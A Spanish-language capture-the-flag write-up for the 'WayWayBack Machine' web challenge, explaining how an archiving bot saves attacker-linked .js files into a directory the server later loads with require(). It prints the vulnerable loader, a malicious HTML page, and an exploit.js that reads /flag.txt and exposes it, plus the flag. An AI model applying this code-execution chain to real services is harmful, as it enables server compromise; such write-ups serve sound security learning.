Usa el árbol para saltar entre colecciones sin salir del lector.

archivo Seleccionar un writeup Abrir árbol
BatmansKitchenCTF/Writeup WayWaybackMachine.md READ_ONLY

WayWayBack Machine

Datos del reto

Campo Valor
CTF Batman's Kitchen CTF
Reto WayWayBack Machine
Categoría Web
Contexto "I got tired of having to dig around the internet for old files so I started archiving them myself."
Flag bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10}

Descripción del reto

La aplicación recibía una URL, un bot la visitaba y guardaba un snapshot del HTML. También descargaba recursos enlazados y luego los volvía a cargar.


Reconocimiento

El servidor parseaba los <link href="..."> del HTML capturado y descargaba cada recurso al directorio snapshots/. Si archivaba una página controlada por el atacante, también guardaba archivos elegidos por el atacante dentro de ese directorio.

La parte crítica aparecía cuando se visitaba cualquier snapshot existente.


Análisis

Antes de servir un snapshot, la aplicación recorría el contenido de SNAPSHOTS_DIR y hacía require() de cualquier archivo .js encontrado allí.

async function preloadSnapshotResources() {
  const entries = fs.readdirSync(SNAPSHOTS_DIR, { withFileTypes: true });
  for (const entry of entries) {
    if (path.extname(entry.name) === ".js") {
      require(filePath);
    }
  }
}

Como el bot descargaba recursos externos al mismo directorio del que luego Node cargaba archivos JavaScript, era posible dejar un .js malicioso en snapshots/ y conseguir ejecución de código en el servidor.

La cadena de ataque quedaba así.

  1. Publicar una página propia con un <link> apuntando a un .js.
  2. Hacer que el bot archive esa página.
  3. Esperar a que el .js quede guardado en snapshots/.
  4. Visitar cualquier snapshot para disparar el require().
  5. Leer /flag.txt y escribirlo en otro archivo accesible desde la web.

El problema era que el sistema descargaba contenido controlado por el usuario y luego lo ejecutaba.


Resolución

La página maliciosa podía ser tan simple como esta.

<html>
  <head>
    <link rel="stylesheet" href="/exploit.js">
  </head>
  <body>
    <p>Archiving this page</p>
  </body>
</html>

Y el exploit.js podía ser este.

const fs = require("fs");
const path = require("path");

try {
  const flag = fs.readFileSync("/flag.txt", "utf8");
  fs.writeFileSync(
    path.join(__dirname, "flag_exfil.html"),
    `<html><body><h1>${flag}</h1></body></html>`
  );
} catch (e) {}

Después solo hacía falta seguir estos pasos.

  1. Exponer ese contenido en una URL pública.
  2. Enviarla al endpoint que crea snapshots.
  3. Esperar a que el proceso terminara.
  4. Visitar un snapshot para disparar la carga del .js.
  5. Abrir /snapshot/flag_exfil y leer la flag.

El directorio usado para guardar recursos también terminaba siendo un lugar desde donde se ejecutaba código.


Flag

bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10}